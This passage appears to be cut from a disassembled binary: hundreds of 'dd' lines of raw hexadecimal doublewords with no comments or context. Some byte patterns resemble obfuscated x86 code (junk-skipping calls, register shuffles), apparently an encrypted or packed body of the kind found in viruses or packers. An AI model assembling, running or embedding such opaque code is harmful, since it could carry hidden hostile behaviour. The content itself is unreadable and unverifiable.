1BA88BCEh dd 7EC76E26h, 8E6759Ch, 0C4FC280h, 0AFAC6529h, 4D958C8Ch dd 6BEDE067h, 6FB278C0h, 95120791h, 0C05C2C0Eh, 0BF6EB178h dd 21E52D9h, 206372B6h, 0C2997C3Ah, 5CFF16E4h, 0ABD3E525h dd 0FDF95A17h, 0DA1h, 3C1A41D6h, 0D7B5A66Eh, 76540709h dd 13F16AA8h, 0AD8BD045h, 987D5A12h, 0FF17E5C3h, 63B07E5Ch dd 0C54C1AF8h, 2E6B896h, 0D686997Bh, 0A5441E84h, 8C131104h dd 7EC76BAAh, 573DEC2Fh, 6B7658DFh, 0B8FB7EC7h, 80915FD5h dd 0A23D4157h, 45F49291h, 0D04F867h, 8303A2CAh, 0B261CC04h dd 95C64B8Fh, 0A1712FB7h, 0EDD097BAh, 0C8578A60h, 0A51C07Eh dd 0A8B35E2Ch, 8BD04185h, 0DAA1A968h, 0BFC61100h, 54BC5EE8h dd 47C6211h, 968BD046h, 7EC7B7B4h, 9D13F639h, 0EF745015h dd 0B49173FAh, 0D3167EC7h, 0FC511CA0h, 571E411Ah, 0F28975A8h dd 0F363F66Ah, 0F0147110h, 7C3ADE87h, 0DAA1C497h, 0B1B6F7h dd 48DD0000h, 0AB2309D1h, 6ACAAC33h, 0C74E7EC7h, 7EC76AE5h dd 0FF42276Ah, 0D06011CCh, 0F2D58990h, 0C0925E65h, 0F5185B78h dd 84D739F7h, 733E14A1h, 0A17478C0h, 0C05397BAh, 0B1B9789Bh dd 0BB98DCAh, 0ADF68FB4h, 6895E48Fh, 0A3000000h, 67AF2FE5h dd 5B0AD1F4h, 643B1378h, 0DE7EC76Bh, 36BDA37Bh, 78C07A33h dd 9D7B5F8h, 0AB694F0Ch, 5510F368h, 7D99CC55h, 0E14A005Ah dd 0ED9CED3Bh, 0E80B50C1h, 58C7221h, 72B8F5E6h, 0EEF023E3h dd 0D5843328h, 71EA29F7h, 13CB4E4Eh, 2FBA62Dh, 7A3F6CB1h dd 0BF9912C8h, 3ADC082Eh, 7EC13E21h, 9241AA0h, 48B70000h dd 0D35AD2D1h, 7EC76AF1h, 5C3E3376h, 0E17EC76Bh, 0BC6BF021h dd 0F1AF270Dh, 0CA573A21h, 78BF930Bh, 0D5E20548h, 78C041FFh dd 6398DF8Dh, 0E48FDE22h, 2569h, 1B27700h, 0DC4CE0F1h dd 0D1F467ACh, 13785B0Ah, 0C76B653Bh, 0D434187Eh, 0B8FFFFFBh dd 6AD7B940h, 195C7EC7h, 0D148D136h, 0C19C2309h, 4678C06Dh dd 0FDD3E003h, 8B78C064h, 53802AEFh, 9B813A61h, 0CD5328B8h dd 6F55060Fh, 0BF8D06E8h, 65488B78h, 9093BFC6h, 528CCE4h dd 0F3F30000h, 0FD15D318h, 7AE1325Eh, 2DAD9057h, 8108EE34h dd 78BF979Eh, 7DF0E023h, 0EFA6E88h, 2107DF42h, 0F33C8F9Ah dd 2E5194C8h, 0BD9E7230h, 70F0D39Ah, 0C44B31E9h, 0C2E95A0Fh dd 6B9F864Bh, 5DE3B77Eh, 0BC83A6B5h, 6AAD2A0Dh, 104BC684h dd 0AEAD6432h, 79989D77h, 4541A2C7h, 0B41h, 9C7AE136h dd 371546CEh, 0D6B4A769h, 73510A08h, 0DEB70A5h, 38DDFA72h dd 9F774523h, 310DEBCh, 65AC7A58h, 624618F6h, 0D688F9DBh dd 5A47E84h, 2B4E0D04h, 3B78682Dh, 0FD27E8E9h, 5F879A1Ah dd 0CF430179h, 3154070Fh, 0D198BB6Ah, 0BEE6DA5h, 0C13AFB7Eh dd 0F01BF78h, 0F11447CFh, 1B987B2Ah, 0DF34F2D8h, 43D09E7Ch dd 0BFE2799Bh, 0EB6349F8h, 0C1248264h, 0E1C40778h, 0F2B02826h dd 51183B20h, 0C1247A5Ch, 0D43FFF78h, 0EE9D6487h, 249C7E0Bh dd 3B1178C1h, 0B778C134h, 614417F9h, 0BCA278E1h, 0B931DA35h dd 361C5F72h, 0DCBF9C78h, 0F33E1421h, 1ECC72B9h, 29E3A259h dd 26A8EA96h, 0B6000000h, 5B3E1DF8h, 9D148F6h, 24EDAB23h dd 6A4D1437h, 0C07B4ADDh, 80904E78h, 0EF1B8DBh, 2F2B4E91h dd 21h, 9D148CCh, 26B16523h, 5FFB5A1Ah, 0DAFDAC92h, 2C2FE713h dd 0E15F4209h, 0C0927B5Ah, 92B5F878h, 170D04ADh, 0C76BAE90h dd 0C4F0337Eh, 22E90C4Fh, 1BE23C73h, 0FC5D0B9Bh, 0A2000h dd 9BC05700h, 3625EFBDh, 0D5868A58h, 72E929F7h, 0C4FC694h dd 0FED9932Eh, 98664417h, 31FFDD7Eh, 0CD9B79E2h, 67391744h dd 8A1AFC83h, 0C59F84D6h, 898C4A26h, 0EA6FEFD2h, 6B9476FDh dd 91187EC7h, 7EC76BAFh, 0C90CF134h, 0B48EF596h, 4CFBD87Ah dd 5204DF66h, 468978C1h, 0F232DF23h, 0C152896Bh, 5470E78h dd 0AD8AE632h, 1440EFh, 0C271385Bh, 3C9F64DCh, 38DD0D76h dd 0F43B1D12h, 0C078C0h, 0B0964516h, 0C0F44729h, 0A689CC78h dd 31429930h, 0A4BC9175h, 0B9E0C249h, 22655175h, 1B3E1DF6h dd 3DC7A554h, 0A018FE24h, 67AF2FE2h, 0D56245F4h, 4B6ECDF6h dd 9173FA72h, 164B6EA6h, 0F06BA7D3h, 0A62306CDh, 0B4A76E2Ch dd 0F3D5CA91h, 784B6EA5h, 1F638635h, 0FE8866F5h, 56DDC31Bh dd 4566C3FBh, 1C1A3D80h, 4FD2357h, 0B4975876h, 68545127h dd 4F8F8745h, 0AD7497C4h, 7D97DBFEh, 0C8F4BBDEh, 0E0EC0F4Ch dd 7A4E0D72h, 3550F7CCh, 5617E7CCh, 13Bh, 85D1487Dh, 2DEE8B0Dh dd 0AB91408Ch, 0C0864924h, 0A58BCE78h, 0BB945DE0h, 17DE015Ah dd 0F0568DE4h, 9654520Dh, 0F3BADD7Eh, 96C54C10h, 3427EAB8h dd 0FAAD0411h, 0C89174h, 0A9B25FBBh, 4714FDCBh, 0BFC01724h dd 0C02E6A29h, 69F21FFBh, 754BD8Bh, 0A37BE4E4h dd 8B8745BDh, 3E6ADD0h, 2A48B476h, 0D8B6F92Ah, 2D13CB4Eh dd 92B5A66Fh, 0E36AE8CBh, 24227258h, 6F341A5Dh, 0B38A64D9h dd 0C49779D6h, 33773215h, 3F83F9DEh, 0D6EE7260h, 31F81B40h dd 27F5D382h, 414E71EAh, 2422A987h, 0AE684FBDh, 921AF863h dd 0A9B1931Ah, 6F362422h, 7A4F269Eh, 9D802F88h, 0CDB9CC10h dd 0D20A0E8Fh, 0BED74ECh, 49AFCE4Ah, 66A98ECDh, 0D23F0D83h dd 3457040Ch, 1E00876Dh, 0A3AFCE4Ah, 818EB160h, 2985F36Fh dd 5376E52Dh, 3457040Fh, 7CE0D70Bh, 86A413F5h, 0A6559829h dd 0F620975Fh, 9C5A401Bh, 0C5C3E675h, 86A45C3Eh, 0EF9EE129h dd 960E960Ch, 86A42D0Fh, 8C6FB229h, 809549C8h, 0F863AFDBh dd 3C5F0ED5h, 17FD253Ch, 4F99DA9Fh, 0E02F8568h, 228970FDh dd 3462380h, 439F25h, 4A3C0000h, 0AEB20DD2h, 3ACA356Fh dd 0C7C56345h, 0C2A5E87Eh, 2107DF42h, 0C0D6079Ah, 0C930B78h dd 78C0B72Ah, 0C896CAFh, 0B262A6C9h, 2AF6CBA9h, 590516EAh dd 7CC23161h, 846A19E2h, 0C0ED53FDh, 39559878h, 4E0D0446h dd 0AB73E670h, 828F4DC5h, 0CEFB6D9h, 0C080307Fh, 846AAD78h dd 280E4DC6h, 0B82DAA6Ah, 556A2936h, 62294CFBh, 0D83B097Fh dd 0F9606083h, 31B43B21h, 0F672B8E9h, 2108CDB3h, 6C8500EFh dd 3542FDE0h, 72B8B05Fh, 0A56340D9h, 14F6EB70h, 9972B890h dd 3AC1A756h, 6CB0ADDFh, 0F1FE2164h, 6CB16F1Bh, 7F84FBA9h dd 0F09EAD06h, 1885h, 0D148AC00h, 0B1652309h, 0C249C7AAh dd 78C07B2Fh, 0D2CEF134h, 42h, 898C4A6Fh, 0EA6FEFD2h, 6B9476FDh dd 9F197EC7h, 0C76B3618h, 0C978BB7Eh, 0CE30EF96h, 5C0B2FA6h dd 0D040FE76h, 0EC24688Bh, 0D6854C6Fh, 0CFF269AAh, 0B9982508h dd 3578C131h, 9DC09B77h, 3376F3D6h, 854A2B10h, 66ED3DC3h dd 7EC7CE84h, 0DF93C609h, 75391C19h, 6088BF9Ch, 9F0B9A92h dd 6A7423Eh, 47D00000h, 0AC683614h, 0D03D1AFh, 70A2704Eh dd 0D63F0DEBh, 600CA785h, 0DFBD9E77h, 78560511h, 14F269AAh dd 0B290CB46h, 9375FCE0h, 1884D68Dh, 8C4A9F3Eh, 44A34E89h dd 0C8B2AD82h, 0AABFE619h, 3D74E89Eh, 7253855Ah, 0D95137EFh dd 96F8DA61h, 3A7D7EC7h, 0C2E7CA57h, 296C78BFh, 4724C639h dd 6A283679h, 0C68DB0ABh, 28FE63E3h, 0AB30BB42h, 0F235B071h dd 96C54E0Ch, 61F8F8B3h, 8A4CD3B9h, 0CEAA6AB1h, 768F9156h dd 652C0064h, 6B278E70h, 0EDD013AAh, 89472D70h, 27F5D388h dd 0B83A71EAh, 47DFF75Fh, 5FFEAE6h, 9F780000h, 410DEBCh dd 65AB7957h, 0C84A18F6h, 2EE7B593h, 0B8B44F2Dh, 8765F61Fh dd 20FE5DB9h, 0BC9AC152h, 5A3823EEh, 3B1DA488h, 0C084D68Eh dd 0D24A47E6h, 0C76B694Bh, 0C8ABEE7Eh, 174E0D04h, 0B9B1AE5h dd 0B6BDB91Ah, 0C1000005h, 59270556h, 0F4C2A0BBh, 93613F1Ch dd 30FEDC7Fh, 0FD9876E5h, 0AEAD686Fh, 471402D0h, 0E3789B69h dd 81DA3705h, 66EDD1A3h, 84D68E84h, 4902F09h, 2B2B4E0Dh dd 0B8A37336h, 391FCE95h, 0B78155B2h, 0B18FD278h, 482AB129h dd 0CD78B852h, 0A9B25E8Ah, 0BD346C6h, 65AB6025h, 0AFD2898Dh dd 0BF67B5E8h, 2FA72508h, 95B8A371h, 562E1097h, 70B378B8h dd 0C0A28EC1h, 597D3C83h, 6BBEE976h, 0C00372B0h, 0A0279F9Dh dd 72B12CBEh, 901D0043h, 72B12CBAh, 3F259A48h, 0A6C99281h dd 2C3F21A8h, 81C472B1h, 3550EFD2h, 56EA9EF4h, 0C1h, 8365EC64h dd 0C172B124h, 5B220754h, 898DBFB4h, 4C2FDEFBh, 878C4AE7h dd 7EAB1D4h, 3B1EA732h, 0FEADAE66h, 97AE9118h, 6D3278BFh dd 0D9BC752Fh, 4CC9ACBEh, 24AB2309h, 78BF7242h, 0A3C69580h dd 0D1B4F7DCh, 8026D649h, 0F96049B8h, 0A9B43B21h, 0AEA3B08Dh dd 0D148486Bh, 0E79C2309h, 249DA6ABh, 0FEADAE64h, 32E2A018h dd 8F824629h, 0F120EECCh, 0D213336Ah, 0CB2CECBBh, 48CCFh dd 2F2CEB00h, 0CA918351h, 69F21EECh, 655BD8Bh, 0A0BB5A28h dd 924527C2h, 2CFAD883h, 0C59371EAh, 612F0D4Eh, 0FBCDABB0h dd 8FAE9017h, 593384D6h, 8A8C4ABAh, 0A663AED1h, 8AF87F0Ch dd 0FF7B5E0Dh, 0A0h, 9D1489Ch, 824F9C23h, 0DCB78B7h, 2239DB03h dd 0A68938FFh, 4200E629h, 26AE8CCFh, 6F618B61h, 0CB92B5A6h dd 75D81098h, 1843CE92h, 396CF5F5h, 0E9CF7EDDh, 0B0E1BB62h dd 92B5F872h, 0E63ED694h, 0B0E17D5Fh, 10BF0272h, 482B30E4h dd 0A38951C8h, 0E0C2A42Bh, 130072B0h, 3D206348h, 0EC4138BFh dd 0BBFE6CA9h, 0B8B0CC84h, 1612731Dh, 3D9h, 4E2799Eh, 9F7DDE36h dd 3E1C3FD1h, 0DBB9A270h, 7553080Dh, 0D04592DAh, 37DFAD8Bh dd 9B784624h, 0FD14E2C0h, 0CAAE805Eh, 0D6906143h, 6D0CE684h dd 0C76B593Bh, 6AF8CE7Eh, 0AF747EC7h, 0FCE81707h, 45B6E93Dh dd 63C8A4F4h, 57CA4A2Dh, 0C522A98Fh, 4278B7BEh, 7998DCFFh dd 0F5AFABE2h, 2F9011A9h, 37433h, 47140300h, 0E2799B69h dd 81DA3604h, 1E3DD5A3h, 0B8A37240h, 0AA2D3FDAh, 4412F06Bh dd 0DDAB89D2h, 79472536h, 13E5C398h, 8FC6A82Fh, 714B84D6h dd 4E0D04D2h, 502EA368h, 0A8794307h, 0A3C6957Ch, 3E3EF9DCh dd 961D03DBh, 78C055FBh, 48DFBD00h, 95301D93h, 0D4D10ACFh dd 66CAF90h, 0A5B65F23h, 3F1CF9C7h, 0E0041C1Ch, 0D049302h dd 2AE72B4Eh, 50C95331h, 6E2CA48Ah, 0CE95B8A3h, 7B8B5EEBh dd 0CD1078C0h, 6E86FE7h, 8B78C05Bh, 9DAA6548h, 78C05BC7h dd 214417FDh, 2338DDh, 0B5E2D9A1h, 0B74C33E1h, 0E48FC5CEh dd 0B50C280h, 0FFEE21E8h, 51916E98h, 62B0F1D4h, 0BE000000h dd 0DBDDBF46h, 1F6278BFh, 0D148D73Ch, 24AB2309h, 7EC76B42h dd 0E4C64DC7h, 697EC76Ah, 16947726h, 0BF9BB88Fh, 9C763478h dd 0B9589CBFh, 9310F3A2h, 4A202D50h, 8078C03Bh, 8FCC4995h dd 9A79BDE0h, 3B21038Ah, 63A678C0h, 6A3291B4h, 0C4724615h dd 0E13D48FFh, 5311E48Fh, 78B99CBFh, 0E8h, 4E0D049Fh, 0F0B52D2Bh dd 12014B60h, 9C7E7304h, 0D37EC80Fh, 0AA2552CCh, 0E3260B9Ah dd 4BD93C00h, 0C785E2C4h, 6AF1207Eh, 589B8047h, 0C574E72Ch dd 0A8B35EA2h, 8BD04185h, 892116ADh, 1FDD7EC7h, 0BE8265F6h dd 5C2A0853h, 8383A6B5h, 0DB62489Eh, 78BFA960h, 2BE35E25h dd 3626088Fh, 68AB78C0h, 0DC949B35h, 47F665B0h, 0B1DE9C61h dd 0F2A275ABh, 0ED104BC6h, 43CD4326h, 9B2208DEh, 72B558EFh dd 4D0BF134h, 5EFD16C8h, 0E7C5743Bh, 36DBFC19h, 5DFE1661h dd 0CC6592Ah, 0BBFE265Dh, 0A00117ACh, 1B4A4h, 754C300h dd 0A2B95B29h, 411AF6C4h, 0DE7D9563h, 78E33200h, 6A6DFF9Ah dd 4D2B0ABh, 9D6B4912h, 3907E576h, 0D3A583D8h, 928668EFh dd 310B84D6h, 4A110492h, 0E8739E6Ch, 21038A02h, 0A67EC76Bh dd 9B0A8063h, 888CD148h, 0B73E24D3h, 78BF9AE0h, 0EAF71A5Dh dd 78C03B14h, 6E91CA4Ah, 4F72E92Ah, 518DF226h, 0B0779AC1h dd 387F2D01h, 8FE18203h, 0BF09E4h, 4A300000h, 6B694BD2h dd 0ABEE7EC7h, 4E0D04C8h, 2D2EE72Bh, 6E08FD0Ah, 937E7EC7h dd 6F92C94Bh, 4D1BF9A8h, 767497C4h, 0DAFD5EB8h, 0C4A62D13h dd 497EC765h, 0BEA32306h, 51C48268h, 3D20E70Ah, 8DBD38BFh dd 3F8278BFh, 0DA61D961h, 78C03EF8h, 0D7573A7Dh, 0F8B69C42h dd 541B3E1Dh, 676CF371h, 6472B5E5h, 937D3B21h, 0FBDEA5C8h dd 8856BF7Dh, 0E6ADD08Bh, 8A8B5937h, 0ED9CBF54h, 0ABEE78B6h dd 2A268717h, 0B9h dd 240259BEh, 0BF9DBE56h, 5E3C1FF1h, 0FBD98290h, 9573E82Dh dd 0B06572FAh, 17FFCDABh, 7B986644h, 0DD3402E0h, 0EACEA07Eh dd 0D6938163h, 8D2C0684h, 6C4A1104h, 0AE8739Eh, 4E0D049Bh dd 0FA2AE72Bh, 0C76B9173h, 24D3167Eh, 7DA5BC46h, 9D3AD997h dd 67E36206h, 0B29544FCh, 9D5CAD34h, 9EE178B7h, 53BF7D7Bh dd 3B1EE508h, 0E3C19A77h, 795FFC15h, 0DD005BBBh, 6B783316h dd 7E86FFE7h, 0E13D824Ah, 7F4D2B30h, 62A6C992h, 78E32EB0h dd 0F9DF8E55h, 5BE3934h, 86A99C7Eh, 0ABDE215Eh, 0A0831BE6h dd 146BD9E5h, 361447CAh, 0DF35A968h, 0E392597Ch, 3C4C0h dd 20610000h, 48130415h, 2B30E125h, 0C4FC408h, 0EA71A5E9h dd 0C99283C7h, 0A8B362A6h, 8AD14185h, 6EED2367h, 4E0D074Bh dd 89562A2Bh, 4C681E6h, 83000000h, 348704EEh, 0C895C24h dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 242C895Ch dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68243489h, 6095h dd 0BF243C89h, 60F1939h, 815FFD89h, 4ECh, 24248900h, 4240481h dd 5E000000h, 8904EC83h, 468F242Ch, 2434FF08h, 4C4815Eh dd 8B000000h, 8952242Ch, 4C281E2h, 81000000h, 4C2h, 24148700h dd 514CE95Ch, 42D4FFF8h, 61BFED5h, 10254001h, 1F14ECB7h dd 2998B81Ah, 0C503060Fh, 9327E0FFh, 0FAB409E8h, 0FB2E68F0h dd 57541CCBh, 8D383CFEh, 0DC3D73EFh, 0F12143FAh, 7D810D4Bh dd 71B285Ch, 29831CC8h, 27C56D67h, 97FF1BDDh, 0A97F7002h dd 6E38698Ah, 0DF3E677Eh, 695A02C9h, 5A5D7E0Ah, 78483FBCh dd 0A4B50A4Dh, 830664Bh, 0FA33746Eh, 7B89122Bh, 0B48063AFh dd 0FD445976h, 0D95C5EE6h, 468B3B16h, 0D12B4938h, 2DF750C3h dd 8D8D17B7h, 60F2B95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 2CC35545h, 0CA58589h, 0B8660607h, 8D89CF32h dd 6070679h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 60C35040h, 84C0F8FEh, 8DD38037h, 2CE585C7h, 5B980607h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 41FCBCC3h, 27F86B07h, 2D0585C7h, 607h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 738A96C3h, 0E721EB20h, 9D8B7ED2h, 6071019h, 399B5FFh dd 83BB0607h, 0FF15D403h, 700BD95h, 198C0F06h, 0E8000000h dd 0Dh, 0E609F23h, 7F4DF9BDh, 9CE95066h, 81BD89C1h, 5806071Dh dd 95FF006Ah, 60716B5h, 0DEBC08Bh, 0EBE4376Fh, 1ADC3315h dd 0DCA5D28Ch, 308D8DC4h, 0F060F2Ch, 8D89D9B7h, 6070679h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 36C35545h dd 19FFCFC3h, 0E585C7F9h, 8806072Ch, 0C700006Bh, 72D0585h dd 6, 4646BA00h, 0B5FF67EEh, 6070C91h, 6BE8BE66h, 0BD95FFh dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 567752C3h, 8B0F2CC6h, 3, 6ADF8B66h, 0B595FF00h dd 8B060716h, 357EEBC0h, 9CF0A57Eh, 12D7EB1Eh, 6846DB38h dd 552200E0h, 61C90A0Dh, 0DC71413Eh, 9CC2CF50h, 681EDB70h dd 8BDB6B28h, 4CB56CB8h, 7817E7CCh, 3750B4C1h, 29C6CDDFh dd 39100730h, 9D48B5D0h, 3466AB96h, 208ECFCCh, 0B3AFE2BCh dd 6F3909ACh, 0DC5312E8h, 5D1D503Ah, 503D2121h, 0F621B806h dd 0ADD3D23Ah, 0D1F6D666h, 25452B81h, 0F0A41743h, 8BB5A585h dd 53F94B02h, 712D7EEDh, 0E1E74670h, 0CB8D8D3Eh, 6A060F2Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0D436C352h, 0BD8BE712h, 6071CB5h, 9A5EF681h dd 8D89236Fh, 6070679h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0AEC35242h, 0C7C3B2BEh, 72CE585h, 74F006h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0BB4ABF12h, 0C7C04FBCh, 72D0585h, 6, 81666000h dd 609E4BC3h, 0CA5D8DBFh, 0DD952306h, 6106070Bh, 218D8961h dd 0FF060720h, 711C5B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 122297FAh, 55157D55h dd 0B5892726h, 6073025h, 0BD95FFh, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B82F18C3h dd 4B3D8A00h, 9589BE22h, 6071B19h, 5E9h, 97ACC100h, 6A8F34h dd 16B595FFh, 0C08B0607h, 3F712CEBh, 0A3EBEA85h, 0D94B22E6h dd 0B819074Fh, 39309B7Ah, 61247730h, 76777293h, 5B0BEBF2h dd 2F49B3BAh, 160F0AA3h, 401AE8A7h, 5E8B784h, 6A000000h dd 0BAD76379h, 79B5015Bh, 81060709h, 6B4FC3h, 0C38B6600h dd 8166F633h, 0FFCABBD0h, 8C0F1E34h, 3, 5FCB8B66h, 81C18B66h dd 61B944C7h, 2840F2Fh, 0B2000000h, 8C7818Bh, 0BA27D58Dh dd 786D1818h, 2A7BEF81h, 6E914BEh, 79000000h, 0B634C0C8h dd 333C8928h, 261952Bh, 0B5890607h, 6071D49h, 91C0EE81h dd 13E81FF6h, 2C000000h, 729D8C1Bh, 0E1DD7211h, 40F79554h dd 37539BFBh, 10E8FB68h, 8F000000h, 0EBF6E08Eh, 0EF24752Fh dd 0C92E63DAh, 0B874422Dh, 7C1A5083h, 0C6815859h, 1FF691BCh dd 1B1BD89h, 0FE810607h, 0FFFF9590h, 17850Fh, 9D290000h dd 60706C5h, 21E9h, 0F76C3200h, 0A7DEDD11h, 17879F20h dd 0CF8B6618h, 0FFFF46E9h, 27451DFFh, 0B4480660h, 58EC7BC9h dd 10EB5C30h, 4 dup(0) dd 0D18AC08Bh, 0FF5BD83h, 75000607h, 1BD8309h, 60730h dd 53501974h, 2DB8C08Bh, 89000004h, 709D585h, 0A79D8D06h dd 0FF0609ACh, 83585BD3h, 73001BDh, 17740006h, 2DB85350h dd 89000004h, 709D585h, 969D8D06h, 0FF0609A9h, 6A585BD3h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 3A6BC350h, 197E4175h, 5004EDB1h, 8166C08Bh dd 8BD2E0E2h, 708C98Dh, 0F98306h, 88840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 64050AC3h, 2C3D8Bh, 820F0000h, 6, 2545B58Bh, 0FF0B0607h dd 50840Fh, 958B0000h, 6071735h, 95893F8Bh, 60732C1h, 72D8D89h dd 0C0320607h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 74C35141h, 3D3D9C25h, 0DE9h, 2C53E200h, 34CFD25Eh dd 655C1E67h, 0AAF3F95Dh, 2011BD01h, 49350607h, 89535041h dd 706F995h, 585C606h, 4706072Ch, 992DBAFCh, 39685476h dd 669622BDh, 3481F08Bh, 0F4351524h, 0ADB5FF4Ah, 8D060731h dd 0A7B1F85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 800FF344h, 6, 1C8DB58Bh, 0D0FF0607h dd 0AF85C281h, 85894507h, 6070859h, 11ED958Bh, 85C60607h dd 6072C05h, 959D8953h, 2906070Ah, 72CC5B5h, 1CC76806h dd 49BE8DBFh, 812E8ACCh, 763B2434h, 0B5890527h, 6070C49h dd 31ADB5FFh, 95890607h, 60712E1h, 7B1F858Dh, 9589060Ah dd 60710E9h, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0B1668EC3h, 8D5790DCh, 0A38DA85h dd 0E5858906h, 8906070Fh, 7206985h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0F8570F31h dd 23AEFCF3h, 39B52B05h, 89060703h, 71299B5h, 6A206A06h dd 6995FFFFh, 35060720h, 53504149h, 126D85C7h, 10607h dd 85C70000h, 6072865h, 0 dd 1BC18D31h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 73F92BC3h, 60606059h, 719D8B61h dd 61060701h, 0BB9958Bh, 0F610607h, 858BD7BFh, 6070AF1h dd 10E9h, 93DC7A00h, 64A9831Fh, 7DD9397Bh, 0D9792071h dd 8BA663Dh, 0A3648Ch, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 86C6C351h dd 8B2E16F4h, 7304595h, 7DBD8306h, 60721h, 5F840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0AE4900C3h, 103B8546h, 8B6DB04Dh, 0BE6656D0h, 8B5E34C5h dd 72C2D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 4FD4C9D7h, 84C73748h, 89E08B1Ch dd 7027DBDh, 0FDBD8306h, 60705h, 41D850Fh, 0B58B0000h dd 6070601h, 2C0585C6h, 6A560607h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7F06C351h dd 9468D539h, 8BBEEA20h, 243481D3h, 172F104Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 23C35545h, 0C860Fh dd 8B0F0000h, 6, 7518D89h, 0B5FF0607h, 60731ADh, 15B53156h dd 5E060706h, 7B1F858Dh, 958B060Ah, 6072791h, 31099589h dd 0D0FF0607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0FBC35747h, 82CDE301h, 2800F90h, 50000000h, 0D78B505Eh dd 6860F90h, 81000000h, 0CF33EDDEh, 0C5EE8113h, 8D0A1F7Eh dd 70B658Dh, 1D18B06h, 7301995h, 69BE5006h, 89638FC4h dd 46A240Ch, 282D9509h, 0BF0F0607h, 4E8F0h, 10000000h dd 8B560000h, 0E8505EF0h, 9, 0AB009F03h, 9033A958h, 448B5AC4h dd 0CE90424h, 18000000h, 0D61F80EAh, 46B24BADh, 8BFCA891h dd 0CE800h, 0B3000000h, 6762ED2Fh, 2F99F22Ch, 0BE6605F3h dd 895EA8EFh, 60042444h, 1AD2BA66h, 0E8505861h, 10h, 98945D4Eh dd 4F17E463h, 93B34475h, 7BF53D24h, 14E9h, 827D3000h, 0D1BAE18Bh dd 0C44CCD5Dh, 226F139Ah, 620DBD7Ah, 0FF5E5A47h, 71409B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0D0FF5061h, 4D1BBA66h, 1409BD8Bh, 7E90607h dd 28000000h, 0B245165h, 7F03FE22h, 81D78A3Ch, 0F8C7h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 34841F3Eh, 47C7A39Ah, 2024h, 53006A60h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 2493CB6h, 535C6C91h, 0F2BF0FE6h, 2EE6BD83h, 0F00060Fh dd 16B84h, 8F0F5100h, 6, 0B25958Bh, 835E0607h, 0BD0128C7h dd 6071DE9h, 6A2E07C7h, 0C7F56469h, 74610447h, 66600061h dd 7954F781h, 0CC94D881h, 8B6127DFh, 0F2EEE85h, 0BA606006h dd 6A987E50h, 1FB98589h, 8B610607h, 7161985h, 47896106h dd 0F2858B0Ch, 8B060F2Eh, 704F9B5h, 12E906h, 0F6030000h dd 0AF9FB8E4h, 61D95596h, 0AA76BF2Eh, 0E2A1CA07h, 6A084789h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 1A9FC357h, 9B4A9FEDh, 13E94320h, 12000000h dd 0DAC255A9h, 7F571CF8h, 5074B00h, 6A2D21B1h, 9523DAF4h dd 60700A1h, 0C783F38Bh, 0C769B628h, 6F632E07h, 47C7F86Eh dd 67696604h, 8800F00h, 0F000000h, 283h, 8B616000h, 0F2EEA85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 5959BF37h, 9E9E3h, 56D00000h, 0FF0E3259h dd 89F2A20Eh, 707FD85h, 0C478906h, 2785952Bh, 81660607h dd 8BAED9C6h, 0F2EE685h, 0A58D2906h, 8906072Ah, 6A0847h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 73AC3DC3h, 5DBA25A2h, 12E9E8h, 3AEC0000h, 3B6CB6C0h dd 0D3491FD9h, 0A4EEDEB2h, 0E6C86F19h, 8DD18B58h, 703898Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 5A081D5Dh, 887BA07h, 4FD2BE91h, 0E95045AAh dd 8, 617D49A1h, 1F0848AAh, 56006A91h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 9D8E2C7h, 8166F3FDh dd 29788CC2h, 71AFD9Dh, 65B5FF06h, 0F906070Bh, 6BF7C268h dd 94BE66CCh, 24048149h, 3394183Eh, 0D71B6FBAh, 9B5FF31h dd 